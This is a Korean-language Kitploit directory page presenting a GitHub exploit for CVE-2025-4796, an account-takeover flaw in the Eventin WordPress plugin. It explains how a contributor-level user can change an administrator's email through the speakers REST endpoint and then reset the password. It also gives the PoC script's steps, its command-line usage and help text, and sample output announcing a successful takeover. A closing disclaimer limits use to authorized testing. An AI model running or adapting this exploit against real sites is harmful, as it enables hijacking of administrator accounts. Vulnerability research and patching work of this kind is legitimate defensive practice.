Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-4796 — Eventin <= 4.0.34 - 인증된 (기여자+) 사용자 이메일 변경/계정 탈취를 통한 권한 상승 | Kitploit
도구/GitHubGitHub/nxploited/cve-2025-4796
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubnxploited/cve-2025-4796

CVE-2025-4796

Eventin <= 4.0.34 - 인증된 (기여자+) 사용자 이메일 변경/계정 탈취를 통한 권한 상승

저장소 보기
9개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-4796

Eventin <= 4.0.34 - 인증된 (Contributor+) 사용자 이메일 변경/계정 탈취를 통한 권한 상승

🛡️ Eventin <= 4.0.34 - 인증된 (Contributor+) 권한 상승 (CVE-2025-4796)

📌 개요

이 저장소는 Eventin WordPress 플러그인(<= 4.0.34)의 권한 상승 취약점을 문서화한 것으로, Contributor+ 권한을 가진 인증된 사용자가 플러그인의 스피커 업데이트 API를 통해 임의 사용자의 이메일 주소를 변경할 수 있게 합니다. 관리자의 이메일을 변경함으로써 공격자는 비밀번호 재설정을 유발하고 계정 탈취에 성공할 수 있습니다.

  • 취약한 구성 요소: Eventin WordPress 플러그인 (Eventin\Speaker\Api\SpeakerController::update_item)

  • 영향받는 버전: <= 4.0.34

  • CVE: CVE-2025-4796

  • CVSS: 8.8 (High)

  • 활성 설치 수: 10,000+

⚠️ 취약점 세부 정보

Eventin은 스피커/사용자 세부 정보(특히 이메일)를 업데이트하기 전에 호출자의 신원이나 권한을 제대로 검증하지 않습니다. Contributor(또는 그 이상) 권한으로 인증된 공격자는 플러그인의 REST 엔드포인트를 사용하여 관리자를 포함한 다른 사용자의 이메일 주소를 변경할 수 있습니다:

  • PUT /wp-json/eventin/v2/speakers/<speaker_id>

이메일이 공격자가 제어하는 주소로 변경되면, 표준 WordPress 비밀번호 재설정 흐름을 사용하여 계정을 탈취할 수 있습니다.

🧰 스크립트 (PoC)

파일 이름: CVE-2025-4796.py

이 스크립트는 다음 단계를 자동화합니다:

  1. 제공된 자격 증명을 사용하여 대상 WordPress 사이트에 로그인합니다.
  2. 필요한 X-WP-Nonce를 추출합니다.
  3. /wp-json/eventin/v2/speakers/<speaker_id>로 PUT 요청을 보내 스피커의 이메일을 업데이트합니다.
  4. JSON 응답과 전문적인 성공 메시지를 출력하고 형식화합니다.

요구 사항:

  • Python 3.8+
  • requests

설치:

root@kitploit:~
pip install requests

🚀 사용법

명령줄에서 스크립트를 실행합니다:

root@kitploit:~
python CVE-2025-4796.py -u https://target.site -id 9 -email [email protected] -user contributor_user -pass contributor_password

스크립트 도움말을 표시합니다:

root@kitploit:~
python CVE-2025-4796.py -h

📝 CLI 옵션 (help)

root@kitploit:~
usage: CVE-2025-4796.py [-h] -u URL -id SPEAKER_ID -email EMAIL -user USERNAME -pass PASSWORD

Exploit For: CVE-2025-4796 By: Nxploited

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target WordPress site URL
  -id, --speaker_id SPEAKER_ID
                        Enter the speaker ID for the user
  -email, --email EMAIL
                        Enter a new email address
  -user, --username USERNAME
                        Enter the username for the account to upgrade
  -pass, --password PASSWORD
                        Enter the password for the account to upgrade


✅ 성공 출력 예시

root@kitploit:~
[*] Please wait, exploitation starting ...
[*] Disabling SSL warnings ...
[*] Logging in to WordPress ...
[+] Logged in successfully.
[*] Extracting nonce value ...
[+] Nonce extracted: fc0ab7b983
[*] Exploiting and updating speaker info ...

[+] Exploitation in progress, please wait ...

[+] Exploitation successful.
[+] The account has been updated to Admin.
    Speaker ID   : 9
    Email        : [email protected]

[!] Please reset your password using the email: [email protected]

⚖️ 책임 있는 공개 및 면책 조항

  • 이 저장소는 보안 연구, 테스트 및 방어 목적으로 제공됩니다.
  • 귀하가 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 이러한 기술을 사용하지 마십시오.
  • 취약점의 무단 악용은 불법적이고 비윤리적입니다.
  • 사이트 소유자이고 취약한 상태라고 생각되면 Eventin을 최신 버전으로 업데이트하거나 공급업체 패치를 즉시 적용하십시오.
  • 이 코드는 승인된 환경(랩, 고객이 승인한 침투 테스트, 또는 명시적 허가를 받은 경우)에서만 사용하십시오.

🧾 스크립트가 수행하는 작업 (요약)

  • 입력(URL, 이메일)을 검증하고 URL 스키마를 정규화합니다.
  • SSL 경고를 비활성화합니다(선택 사항; 자체 서명된 개발 인스턴스에 대한 테스트를 지원하는 데 사용됨).
  • 제공된 WP 자격 증명으로 로그인하고 쿠키를 통해 로그인을 검증합니다.
  • 관리자 페이지에서 X-WP-Nonce를 가져옵니다.
  • 스피커의 이메일을 업데이트하기 위해 인증된 PUT 요청을 보냅니다.
  • 형식화된 JSON 응답과 최종 사람이 읽을 수 있는 성공 요약을 출력합니다.

👤 크레딧

작성자: Khaled Alenaz (Nxploited)
GitHub: https://github.com/Nxploited/

도구 다운로드